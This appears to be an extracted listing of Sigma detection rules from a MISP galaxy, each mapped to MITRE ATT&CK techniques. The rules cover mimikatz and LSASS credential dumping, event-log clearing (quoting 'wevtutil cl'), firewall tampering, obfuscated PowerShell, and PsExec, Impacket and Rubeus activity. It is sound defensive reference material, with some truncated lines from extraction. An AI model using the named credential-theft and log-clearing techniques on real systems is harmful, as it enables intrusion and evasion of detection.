This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups).

The tag is: `misp-galaxy:sigma-rules="Mimikatz Use"`

View relationships graph

Mimikatz Use has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004"` with estimative-
Firewall Rule Modified In The Windows Firewall Exception List

Dectects when a rule has been modified in the Windows firewall exception list

The tag is: *misp-galaxy:sigma-rules="Firewall Rule Modified In The Windows Firewall Exception List"

View relationships graph

Firewall Rule Modified In The Windows Firewall Exception List has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

New Firewall Exception Rule Added For A Suspicious Folder

Detects the addition of a rule to the Windows Firewall exception list where the application resides in a suspicious folder

The tag is: *misp-galaxy:sigma-rules="New Firewall Exception Rule Added For A Suspicious Folder"

View relationships graph

New Firewall Exception Rule Added For A Suspicious Folder has relationships with:
The Windows Defender Firewall Service Failed To Load Group Policy

Detects activity when The Windows Defender Firewall service failed to load Group Policy

The tag is: misp-galaxy:sigma-rules="The Windows Defender Firewall Service Failed To Load Group Policy"

View relationships graph

The Windows Defender Firewall Service Failed To Load Group Policy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

A Rule Has Been Deleted From The Windows Firewall Exception List

Detects when a single rules or all of the rules have been deleted from the Windows Defender Firewall

The tag is: misp-galaxy:sigma-rules="A Rule Has Been Deleted From The Windows Firewall Exception List"

View relationships graph
A Rule Has Been Deleted From The Windows Firewall Exception List has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

### Table 8322. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)">https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_delete_rule.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_delete_rule.yml</a></td>
</tr>
</tbody>
</table>

**Windows Defender Firewall Has Been Reset To Its Default Configuration**

Detects activity when Windows Defender Firewall has been reset to its default configuration

The tag is: `misp-galaxy:sigma-rules="Windows Defender Firewall Has Been Reset To Its Default Configuration"`

View relationships graph

Windows Defender Firewall Has Been Reset To Its Default Configuration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

### Table 8323. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)">https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_reset_config.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_reset_config.yml</a></td>
</tr>
</tbody>
</table>

**All Rules Have Been Deleted From The Windows Firewall Configuration**

Detects when all the rules have been deleted from the Windows Defender Firewall configuration

The tag is: `misp-galaxy:sigma-rules="All Rules Have Been Deleted From The Windows Firewall Configuration"`

View relationships graph

All Rules Have Been Deleted From The Windows Firewall Configuration has relationships with:
Windows Firewall Settings Have Been Changed

Detects activity when the settings of the Windows firewall have been changed.

The tag is: `misp-galaxy:sigma-rules="Windows Firewall Settings Have Been Changed"`

View relationships graph

Windows Firewall Settings Have Been Changed has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"` with estimative-language:likelihood-probability="almost-certain"

Table 8325. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)">https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_setting_change.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_setting_change.yml</a></td>
</tr>
</tbody>
</table>

New Firewall Rule Added In Windows Firewall Exception List

Detects when a rule has been added to the Windows Firewall exception list.

The tag is: `misp-galaxy:sigma-rules="New Firewall Rule Added In Windows Firewall Exception List"`

View relationships graph

New Firewall Rule Added In Windows Firewall Exception List has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"` with estimative-language:likelihood-probability="almost-certain"

Table 8326. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)">https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_setting_change.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_setting_change.yml</a></td>
</tr>
</tbody>
</table>
Local User Creation

Detects local user creation on Windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your Windows server logs and not on your DC logs.

The tag is: `misp-galaxy:sigma-rules="Local User Creation"`

View relationships graph

Local User Creation has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Local Account - T1136.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8327. Table References

Links

https://patrick-bareiss.com/detecting-local-user-creation-in-ad-with-sigma/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_creation.yml

Invoke-Obfuscation COMPRESS OBFUSCATION - Security

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation COMPRESS OBFUSCATION - Security"`

View relationships graph

Invoke-Obfuscation COMPRESS OBFUSCATION - Security has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8328. Table References

Links

https://github.com/SigmaHQ/sigma/issues/1009
**User Couldn’t Call a Privileged Service 'LsaRegisterLogonProcess'**

The 'LsaRegisterLogonProcess' function verifies that the application making the function call is a logon process by checking that it has the SeTcbPrivilege privilege set. Possible Rubeus tries to get a handle to LSA.

The tag is: *misp-galaxy:sigma-rules="User Couldn’t Call a Privileged Service 'LsaRegisterLogonProcess'"*

**Addition of SID History to Active Directory Object**

An attacker can use the SID history attribute to gain additional privileges.

The tag is: *misp-galaxy:sigma-rules="Addition of SID History to Active Directory Object"*

---

**Table 8329. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Table 8330. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=1772">https://adsecurity.org/?p=1772</a></td>
</tr>
</tbody>
</table>
Security Eventlog Cleared

One of the Windows Eventlogs has been cleared. e.g. caused by "wevtutil cl" command execution

The tag is: misp-galaxy:sigma-rules="Security Eventlog Cleared"

View relationships graph

Security Eventlog Cleared has relationships with:


Table 8331. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/deviouspolack/status/832535435960209408">https://twitter.com/deviouspolack/status/832535435960209408</a></td>
</tr>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100">https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100</a></td>
</tr>
</tbody>
</table>

ISO Image Mounted

Detects the mount of an ISO image on an endpoint

The tag is: misp-galaxy:sigma-rules="ISO Image Mounted"

View relationships graph

ISO Image Mounted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 8332. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/MsftSecIntel/status/1257324139515269121">https://twitter.com/MsftSecIntel/status/1257324139515269121</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image">https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image</a></td>
</tr>
</tbody>
</table>

5534
Important Scheduled Task Deleted/Disabled

Detects when adversaries stop services or processes by deleting or disabling their respective scheduled tasks in order to conduct data destructive activities

The tag is: misp-galaxy:sigma-rules="Important Scheduled Task Deleted/Disabled"

Remote Access Tool Services Have Been Installed - Security

Detects service installation of different remote access tools software. These software are often abused by threat actors to perform

The tag is: misp-galaxy:sigma-rules="Remote Access Tool Services Have Been Installed - Security"
Invoke-Obfuscation Via Use MSHTA - Security

Detects Obfuscated Powershell via use MSHTA in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use MSHTA - Security"*

View relationships graph

Invoke-Obfuscation Via Use MSHTA - Security has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"* with *estimative-language:likelihood-probability="almost-certain"*
- related-to: *misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"* with *estimative-language:likelihood-probability="almost-certain"*

**Table 8335. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_mshta_services_security.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_mshta_services_security.yml</a></td>
</tr>
</tbody>
</table>

Potentially Suspicious AccessMask Requested From LSASS

Detects process handle on LSASS process with certain access mask

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious AccessMask Requested From LSASS"*

View relationships graph

Potentially Suspicious AccessMask Requested From LSASS has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"* with *estimative-language:likelihood-probability="almost-certain"*

**Table 8336. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment">https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment</a></td>
</tr>
</tbody>
</table>

5536
**Password Policy Enumerated**

Detects when the password policy is enumerated.

The tag is: `misp-galaxy:sigma-rules="Password Policy Enumerated"`

View relationships graph

Password Policy Enumerated has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201"` with `estimative-language:likelihood-probability="almost-certain"`

Table 8337. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/jpalanco/alienvault-ossim/blob/f74359c0c027e42560924b5c25cdf121e5505a/os-">https://github.com/jpalanco/alienvault-ossim/blob/f74359c0c027e42560924b5c25cdf121e5505a/os-</a></td>
</tr>
<tr>
<td>sim/agent/src/ParserUtil.py#L951</td>
</tr>
</tbody>
</table>

**Device Installation Blocked**

Detects an installation of a device that is forbidden by the system policy

The tag is: `misp-galaxy:sigma-rules="Device Installation Blocked"`

View relationships graph

Device Installation Blocked has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200"` with `estimative-language:likelihood-probability="almost-certain"`

Table 8338. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md">https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_device_installation_blocked.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_device_installation_blocked.yml</a></td>
</tr>
</tbody>
</table>
Suspicious PsExec Execution

detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one

The tag is: `misp-galaxy:.sigma-rules="Suspicious PsExec Execution"`

View relationships graph

Suspicious PsExec Execution has relationships with:


Table 8339. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html">https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html</a></td>
</tr>
</tbody>
</table>

User with Privileges Logon

Detects logon with "Special groups" and "Special Privileges" can be thought of as Administrator groups or privileges.

The tag is: `misp-galaxy:.sigma-rules="User with Privileges Logon"`

View relationships graph

User with Privileges Logon has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Steal or Forge Authentication Certificates - T1649"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550"` with estimative-language:likelihood-probability="almost-certain"

Table 8340. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Azure AD Health Monitoring Agent Registry Keys Access

This detection uses Windows security events to detect suspicious access attempts to the registry key of Azure AD Health monitoring agent. This detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object HKLM\SOFTWARE\Microsoft\Microsoft Online\Reporting\MonitoringAgent.

The tag is: `misp-galaxy:sigma-rules="Azure AD Health Monitoring Agent Registry Keys Access"`

View relationships graph

Azure AD Health Monitoring Agent Registry Keys Access has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Query Registry - T1012"` with estimative-language:likelihood-probability="almost-certain"

Table 8341. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://o365blog.com/post/hybridhealthagent/">https://o365blog.com/post/hybridhealthagent/</a></td>
</tr>
</tbody>
</table>

WMI Persistence - Security

Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.

The tag is: `misp-galaxy:sigma-rules="WMI Persistence - Security"`

View relationships graph

WMI Persistence - Security has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003"` with estimative-language:likelihood-probability="almost-certain"

Table 8342. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/">https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/</a></td>
</tr>
</tbody>
</table>
Password Protected ZIP File Opened

Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.

The tag is: misp-galaxy: sigma-rules="Password Protected ZIP File Opened"

View relationships graph

Password Protected ZIP File Opened has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Persistence and Execution at Scale via GPO Scheduled Task

Detect lateral movement using GPO scheduled task, usually used to deploy ransomware at scale

The tag is: misp-galaxy: sigma-rules="Persistence and Execution at Scale via GPO Scheduled Task"

View relationships graph

Persistence and Execution at Scale via GPO Scheduled Task has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
**Metasploit SMB Authentication**

Alerts on Metasploit host's authentications on the domain.

The tag is: *misp-galaxy:sigma-rules*="Metasploit SMB Authentication"

View relationships graph

Metasploit SMB Authentication has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

*Table 8345. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/lib/rex/proto/smb/client.rb">https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/lib/rex/proto/smb/client.rb</a></td>
</tr>
</tbody>
</table>

**Hacktool Ruler**

This events that are generated when using the hacktool Ruler by Sensepost

The tag is: *misp-galaxy:sigma-rules*="Hacktool Ruler"

View relationships graph

Hacktool Ruler has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

- related-to: *misp-galaxy:mitre-attack-pattern*="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"

- related-to: *misp-galaxy:mitre-attack-pattern*="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

- related-to: *misp-galaxy:mitre-attack-pattern*="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

*Table 8346. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/sensepost/ruler">https://github.com/sensepost/ruler</a></td>
</tr>
<tr>
<td><a href="https://github.com/sensepost/ruler/issues/47">https://github.com/sensepost/ruler/issues/47</a></td>
</tr>
</tbody>
</table>
Security Event Log Cleared

Checks for event id 1102 which indicates the security event log was cleared.

The tag is: \textit{misp-galaxy: sigma-rules}="Security Event Log Cleared"

View relationships graph

Security Event Log Cleared has relationships with:


Table 8347. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/SecurityEventLogCleared.yaml">https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/SecurityEventLogCleared.yaml</a></td>
</tr>
</tbody>
</table>

Malicious Service Installations

Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities.

The tag is: \textit{misp-galaxy: sigma-rules}="Malicious Service Installations"

View relationships graph

Malicious Service Installations has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy: mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"


Table 8348. Table References
Impacket PsExec Execution

Detects execution of Impacket's psexec.py.

The tag is: *misp-galaxy:.sigma-rules=*"Impacket PsExec Execution"

View relationships graph

Impacket PsExec Execution has relationships with:


Remote Service Activity via SVCCTL Named Pipe

Detects remote service activity via remote access to the svcctl named pipe

The tag is: *misp-galaxy:.sigma-rules=*"Remote Service Activity via SVCCTL Named Pipe"

View relationships graph

Remote Service Activity via SVCCTL Named Pipe has relationships with:

**Windows Event Auditing Disabled**

Detects scenarios where system auditing (i.e.: Windows event log auditing) is disabled. This may be used in a scenario where an entity would want to bypass local logging to evade detection when Windows event logging is enabled and reviewed. Also, it is recommended to turn off "Local Group Policy Object Processing" via GPO, which will make sure that Active Directory GPOs take precedence over local/edited computer policies via something such as "gpedit.msc". Please note, that disabling "Local Group Policy Object Processing" may cause an issue in scenarios of one off specific GPO modifications - however, it is recommended to perform these modifications in Active Directory anyways.

The tag is: *misp-galaxy:sigma-rules="Windows Event Auditing Disabled"

View relationships graph

Windows Event Auditing Disabled has relationships with:


Table 8351. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.google.com/presentation/d/1dkrldTTlN3La-OjWtkWJBb4hVk6vfsSMBFBERs6R8zA/edit">https://docs.google.com/presentation/d/1dkrldTTlN3La-OjWtkWJBb4hVk6vfsSMBFBERs6R8zA/edit</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_disable_event_auditing.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_disable_event_auditing.yml</a></td>
</tr>
</tbody>
</table>

**Invoke-Obfuscation Via Use Rundll32 - Security**

Detects Obfuscated Powershell via use Rundll32 in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Rundll32 - Security"

View relationships graph

Invoke-Obfuscation Via Use Rundll32 - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8352. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_rundll32_services_security.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_rundll32_services_security.yml</a></td>
</tr>
</tbody>
</table>
**User Logoff Event**

Detects a user log-off activity. Could be used for example to correlate information during forensic investigations.

The tag is: `misp-galaxy:sigma-rules="User Logoff Event"`

*Table 8353. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Access to ADMIN$ Share**

Detects access to $ADMIN share

The tag is: `misp-galaxy:sigma-rules="Access to ADMIN$ Share"`

*View relationships graph*

Access to ADMIN$ Share has relationships with:


*Table 8354. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Secure Deletion with SDelete**

Detects renaming of file while deletion with SDelete tool.

The tag is: `misp-galaxy:sigma-rules="Secure Deletion with SDelete"`

*View relationships graph*

Secure Deletion with SDelete has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-
• related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"


Table 8355. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm">https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-gb/sysinternals/downloads/sdelete">https://docs.microsoft.com/en-gb/sysinternals/downloads/sdelete</a></td>
</tr>
<tr>
<td><a href="https://www.jpcert.or.jp/english/pub/sr/ir_research.html">https://www.jpcert.or.jp/english/pub/sr/ir_research.html</a></td>
</tr>
</tbody>
</table>

ADCS Certificate Template Configuration Vulnerability

Ddetects certificate creation with template allowing risk permission subject

The tag is: misp-galaxy:sigma-rules="ADCS Certificate Template Configuration Vulnerability"

Table 8356. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf">https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf</a></td>
</tr>
</tbody>
</table>

Register new Logon Process by Rubeus

Detects potential use of Rubeus via registered new trusted logon process

The tag is: misp-galaxy:sigma-rules="Register new Logon Process by Rubeus"

View relationships graph

Register new Logon Process by Rubeus has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 8357. Table References
**DCERPC SMB Spoolss Named Pipe**

Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.

The tag is: `misp-galaxy:sigma-rules="DCERPC SMB Spoolss Named Pipe"`

View relationships graph

DCERPC SMB Spoolss Named Pipe has relationships with:


*Table 8358. Table References*

Links


**Invoke-Obfuscation Via Stdin - Security**

Detects Obfuscated Powershell via Stdin in Scripts

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation Via Stdin - Security"`

View relationships graph

Invoke-Obfuscation Via Stdin - Security has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

*Table 8359. Table References*
Metasploit Or Impacket Service Installation Via SMB PsExec

Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation.

The tag is: `misp-galaxy:sigma-rules="Metasploit Or Impacket Service Installation Via SMB PsExec"`

AD Object WriteDAC Access

Detects WRITE_DAC access to a domain object.

The tag is: `misp-galaxy:sigma-rules="AD Object WriteDAC Access"`
Kerberos Manipulation

This method triggers on rare Kerberos Failure Codes caused by manipulations of Kerberos messages

The tag is: `misp-galaxy:sigma-rules="Kerberos Manipulation"`

View relationships graph

Kerberos Manipulation has relationships with:


First Time Seen Remote Named Pipe

This detection excludes known named pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes

The tag is: `misp-galaxy:sigma-rules="First Time Seen Remote Named Pipe"`

View relationships graph

First Time Seen Remote Named Pipe has relationships with:

Invoke-Obfuscation Obfuscated IEX Invocation - Security

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation Obfuscated IEX Invocation - Security"

View relationships graph

Invoke-Obfuscation Obfuscated IEX Invocation - Security has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 8364. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888">https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invok">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invok</a> e_obfuscation_obfuscated_iex_services_security.yml</td>
</tr>
</tbody>
</table>

Transferring Files with Credential Data via Network Shares

Transferring files with well-known filenames (sensitive files with credential data) using network shares

The tag is: misp-galaxy:sigma-rules="Transferring Files with Credential Data via Network Shares"

View relationships graph

Transferring Files with Credential Data via Network Shares has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 8365. Table References
Remote PowerShell Sessions Network Connections (WinRM)

Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986

The tag is: `misp-galaxy:sigma-rules="Remote PowerShell Sessions Network Connections (WinRM)"`

Suspicious LDAP-Attributes Used

Detects the usage of particular AttributeLDAPDisplayNames, which are known for data exchange via LDAP by the tool LDAPFragger and are additionally not commonly used in companies.

The tag is: `misp-galaxy:sigma-rules="Suspicious LDAP-Attributes Used"`
LSASS Access from Non System Account

Detects potential mimikatz-like tools accessing LSASS from non system account

The tag is: *misp-galaxy:sigma-rules="LSASS Access from Non System Account"

View relationships graph

LSASS Access from Non System Account has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

**Table 8368. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://threathunterplaybook.com/hunts/windows/170105-LSASSMemoryReadAccess/notebook.html">https://threathunterplaybook.com/hunts/windows/170105-LSASSMemoryReadAccess/notebook.html</a></td>
</tr>
<tr>
